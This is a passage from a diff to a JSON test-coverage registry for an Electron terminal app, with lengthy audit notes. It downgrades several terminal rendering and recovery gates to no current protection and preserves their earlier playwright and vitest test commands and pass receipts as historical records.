\"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n \"assertions\": [\n \"@headful reveal preserves the coherent frame until synchronized output releases\"\n ]\n }\n ]" + "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts\",\n \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n \"assertions\": [\n \"schedules an atlas-preserving present on a light tab reveal\",\n \"keeps heavy atlas recovery off a plain window refocus\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n \"assertions\": [\n \"@headful reveal preserves the coherent frame until synchronized output releases\"\n ]\n }\n ]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-23\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 53,\n \"summary\": \"Both final-head headed oracles passed together. The coherent held frame differed by 73 of 1,404,288 pixels (0.0052%), ordinary reveal performed zero atlas clears, normal release differed from the direct present by 95 pixels (0.0068%), and watchdog release matched exactly. All three ratios passed the 1.5% compositor threshold.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n ]\ntestFiles: [\"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n \"assertions\": [\n \"@headful reveal preserves the coherent frame until synchronized output releases\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Before the prevention change, the ordinary reveal oracle failed deterministically because it observed three atlas clears. After the change, reveal performs zero clears and the first visible frame remains pixel-equivalent to the coherent pre-hide frame.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"One final watchdog-inclusive macOS headed run passed; CI soak history and cross-platform GPU runs are not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":120,\"scope\":\"focused prebuilt headed Electron prevention and watchdog test\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Ordinary reveal removes three shared-atlas clears and their global visible-manager presents. It adds one settled, event-driven full-viewport refresh request per revealed pane; DEC 2026 coalesces it and uses xterm's existing one-second watchdog. No polling, subprocess, provider call, PTY inventory, background-output work, listener, or unbounded retry was added; the display-none retry remains deduplicated and capped at 16 frames.\"}}" ], "demotionRule": "Demote if ordinary reveal clears the shared atlas, the held frame stops matching its coherent baseline, release/watchdog output diverges from a direct present, or the headed oracle cannot remain deterministic." }, @@ -12789,70 +11417,40 @@ "id": "terminal-startup.quick-command-pre-bind-recovery", "title": "Quick Command survives a pre-bind terminal recovery", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-renderer-lifecycle", "layer": "electron-ui-and-real-local-pty", "surfaces": ["Quick Commands", "terminal pane recovery", "fresh PTY startup"], "platforms": ["macos", "linux", "windows"], "providers": ["local"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local"], - "coverageNotes": "Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the complete pane-split-startup wrapper suite and selector. Its temporary dependency-field exposure/reset, sequential payload isolation and thrown-sentinel cleanup alarms are lost; no quick command, process or PTY startup was exercised by those callbacks. Remaining queued-startup/ownership sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): A forced pre-spawn barrier makes one visible Quick Command cross a recovery remount before its successor PTY binds. Lifecycle contracts retain lower-layer ownership; the Electron sentinel adds the rendered affordance, real PTY, exact-once terminal marker, staged identity file, and unrelated sibling canary. The test-value audit removed the store examples for retaining an undelivered queued startup command across remount, distinct queued ownership, sibling-bind preservation, unspawned close, and sibling queue isolation. The remaining store cases exercise recovery admission/settlement and non-replay after consumption; neither covers an undelivered command. The store suite is retired from this gate. Retained lifecycle and historical Electron evidence do not establish equivalent replacement coverage; historical commands and results remain historical. Audit1743 removes the standalone line-height clamp/default and pane cwd fallback helper tests (5 authored cases). These trivial-helper alarms are intentionally lost, with no equivalent replacement. Only current commands/testFiles lose the deleted selectors; historical receipts and evidenceRuns remain unchanged and do not validate the reduced commands.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the complete pane-split-startup wrapper suite and selector. Its temporary dependency-field exposure/reset, sequential payload isolation and thrown-sentinel cleanup alarms are lost; no quick command, process or PTY startup was exercised by those callbacks. Remaining queued-startup/ownership sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): A forced pre-spawn barrier makes one visible Quick Command cross a recovery remount before its successor PTY binds. Lifecycle contracts retain lower-layer ownership; the Electron sentinel adds the rendered affordance, real PTY, exact-once terminal marker, staged identity file, and unrelated sibling canary. The test-value audit removed the store examples for retaining an undelivered queued startup command across remount, distinct queued ownership, sibling-bind preservation, unspawned close, and sibling queue isolation. The remaining store cases exercise recovery admission/settlement and non-replay after consumption; neither covers an undelivered command. The store suite is retired from this gate. Retained lifecycle and historical Electron evidence do not establish equivalent replacement coverage; historical commands and results remain historical. Audit1743 removes the standalone line-height clamp/default and pane cwd fallback helper tests (5 authored cases). These trivial-helper alarms are intentionally lost, with no equivalent replacement. Only current commands/testFiles lose the deleted selectors; historical receipts and evidenceRuns remain unchanged and do not validate the reduced commands.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-4876", "https://github.com/stablyai/orca/pull/15630" ], "invariant": "A Quick Command selected for a new terminal remains owned by that tab through a recovery remount, executes exactly once only after the successor PTY binds, and never reaches an unrelated terminal.", - "oracle": "Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the complete pane-split-startup wrapper suite and selector. Its temporary dependency-field exposure/reset, sequential payload isolation and thrown-sentinel cleanup alarms are lost; no quick command, process or PTY startup was exercised by those callbacks. Remaining queued-startup/ownership sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Arm the E2E-only pre-spawn barrier, click the visible Quick Command, force one recovery generation while the original spawn is blocked, and release it. Require one exact semantic xterm marker, an independently written pane/tab identity file matching the bound live PTY, queue consumption only after bind, and a live interactive sibling canary.", - "commands": [ - "pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "ORCA_E2E_FORCE_HEADFUL=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": ["tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts", - "assertions": [ - "the visible Quick Command executes exactly once in the intended fresh PTY", - "queue consumption follows PTY binding and the sibling terminal remains live" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-23", - "runner": "local", - "platform": "macos", - "result": "passed", - "command": "pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "durationSeconds": 23, - "summary": "The exact rebased PR head passed the headless Electron flow in 23.0 seconds after an E2E-mode build." - }, - { - "date": "2026-08-23", - "runner": "local", - "platform": "macos", - "result": "passed", - "command": "ORCA_E2E_FORCE_HEADFUL=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "durationSeconds": 24, - "summary": "The exact rebased PR head passed the visible-window Electron flow in 23.9 seconds using the same E2E build." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the complete pane-split-startup wrapper suite and selector. Its temporary dependency-field exposure/reset, sequential payload isolation and thrown-sentinel cleanup alarms are lost; no quick command, process or PTY startup was exercised by those callbacks. Remaining queued-startup/ownership sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Arm the E2E-only pre-spawn barrier, click the visible Quick Command, force one recovery generation while the original spawn is blocked, and release it. Require one exact semantic xterm marker, an independently written pane/tab identity file matching the bound live PTY, queue consumption only after bind, and a live interactive sibling canary.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 90, - "scope": "one isolated Electron app, one forced recovery remount, and two local PTYs" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. one isolated Electron app, one forced recovery remount, and two local PTYs" }, "flakeHistory": { "status": "not-started", - "evidence": "The new sentinel has local headless and forced-headful evidence but no routed CI soak history." + "evidence": "No fresh soak for changed E2E selectors. Historical account: The new sentinel has local headless and forced-headful evidence but no routed CI soak history." }, "redGreenEvidence": { - "status": "complete", - "evidence": "The byte-identical spec failed with pending:null before PTY bind when the pre-6e25a900 eager-consume behavior was restored, then passed after restoration." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: The byte-identical spec failed with pending:null before PTY bind when the pre-6e25a900 eager-consume behavior was restored, then passed after restoration." }, "performanceBudget": { "required": true, - "evidence": "The barrier exists only in E2E builds, adds no production timer or polling, and the live sentinel completed in under 20 seconds locally." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. The barrier exists only in E2E builds, adds no production timer or polling, and the live sentinel completed in under 20 seconds locally." }, "promotionCriteria": [ "Collect 100 consecutive routed CI passes over at least 14 days without an unexplained flake.", @@ -12872,7 +11470,12 @@ "Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Exact retired authored alarms: 'detaches when the tab still owns the transport PTY'; 'detaches when a mirrored replacement tab owns the same PTY'; 'detaches when closeTab already owns provider shutdown for the removed tab'; 'destroys an ID-less transport so a pending spawn cannot outlive unmount'; 'detaches a removed automation pane after closeTab takes teardown authority'; 'consumes the queued initial cwd once when the ref is unset'; 'reuses the existing queued state without re-reading the store'; 'clears the one-shot cwd and restores the default cwd after the first pane'; 'leaves the cwd unchanged when no one-shot override is queued'; 'denies ownership to a split payload structurally identical to the queued command'; 'denies ownership when the tab queued nothing, so an unrelated pane cannot spend a slot'; 'withholds the consumer from a pane that does not own the queued command'.", "Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed.", "Audit5748 exact original complete commands JSON value, preserved verbatim as historical selector metadata; removed/narrowed selector is not validated by old evidence:\n[\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts --reporter=dot\",\n \"pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"ORCA_E2E_FORCE_HEADFUL=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]", - "Audit5748 exact original complete testFiles JSON value, preserved verbatim as historical selector metadata; removed/narrowed selector is not validated by old evidence:\n[\n \"src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts\",\n \"tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts\"\n ]" + "Audit5748 exact original complete testFiles JSON value, preserved verbatim as historical selector metadata; removed/narrowed selector is not validated by old evidence:\n[\n \"src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts\",\n \"tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts\"\n ]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-23\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"result\": \"passed\",\n \"command\": \"pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"durationSeconds\": 23,\n \"summary\": \"The exact rebased PR head passed the headless Electron flow in 23.0 seconds after an E2E-mode build.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-23\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"result\": \"passed\",\n \"command\": \"ORCA_E2E_FORCE_HEADFUL=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"durationSeconds\": 24,\n \"summary\": \"The exact rebased PR head passed the visible-window Electron flow in 23.9 seconds using the same E2E build.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"ORCA_E2E_FORCE_HEADFUL=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\"tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts\",\n \"assertions\": [\n \"the visible Quick Command executes exactly once in the intended fresh PTY\",\n \"queue consumption follows PTY binding and the sibling terminal remains live\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"complete\",\"evidence\":\"The byte-identical spec failed with pending:null before PTY bind when the pre-6e25a900 eager-consume behavior was restored, then passed after restoration.\"},\"flakeHistory\":{\"status\":\"not-started\",\"evidence\":\"The new sentinel has local headless and forced-headful evidence but no routed CI soak history.\"},\"runtimeBudget\":{\"p95Seconds\":90,\"scope\":\"one isolated Electron app, one forced recovery remount, and two local PTYs\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"The barrier exists only in E2E builds, adds no production timer or polling, and the live sentinel completed in under 20 seconds locally.\"}}" ], "demotionRule": "Demote if the barrier can be bypassed nondeterministically, either independent oracle is removed, the sibling canary is no longer isolated, or one unexplained flake occurs." }, @@ -12931,7 +11534,7 @@ "id": "terminal-session.host-cold-park-stream-continuity", "title": "Host cold parking preserves paired terminal streams", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime-graph", "layer": "renderer-runtime-graph-and-terminal-stream", "surfaces": [ @@ -12944,9 +11547,9 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local-daemon", "ssh-daemon", "paired-runtime"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local-daemon", "paired-runtime"], - "coverageNotes": "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire split request routing: stable-leaf replay, reminting, host isolation, expiry/cancel/cap lease alarms intentionally lost. Narrow1 compound selector and remove1 testFiles and1 assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5668 integrates source audit5662: retire the whole sync-runtime-graph-parked-leaf.test.ts suite and its exact active selectors and assertionRef. Intentionally lose pre-handler PTY exit during the park handoff gap must drop the stale parked leaf from graph publication alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts. Accepted loss: Degraded-frame latest-queue coalescing and fully-ready-frame supersession of held recovery. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit5605 retires complete low-value suites src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts. Intentionally lose serialization of newer convergence after an in-flight adoption conflict alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The paired serve-restart file loses only the expensive automation-run-ID restart case. Its original terminal journey remains byte-identical: daemon/fixture process identity survives replacement serve, keyboard/output/grid/history/checkpoint converge and authoritative close removes the binding. LAYOUT_OWNER_BUILD gates its pending-handle assertion. Existing dated receipt objects and assertion references retain their original terminal-journey scope and provide no fresh validation of the reduced file selector. Audit3362 retires the whole orphan-recovery adoption-regressions suite, including thrown-adoption/post-adoption malformed or unavailable retries, prior-binding preservation, projected sibling retirement merging and blocked local-close/group-move fencing. Its compound unit token, test-file entry and assertion reference are removed. Injected inventory/adoption projections did not demonstrate usable input delivery. Two unrelated macOS E2E receipts remain verbatim; no equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3318 reduces web-session-terminal-pending-handle-recovery.test.ts, intentionally retiring disconnected retry, two-authoritative-absence retirement, explicit close-record short circuit, older-host disconnected absence, positive published-presence protection and unpublished-frame no-count alarms. Remove only the disconnected-retry assertion alias; preserve transient-retry assertion and both unchanged active Electron receipts. The remaining absence-reset interleaving is narrower, not an equivalent replacement 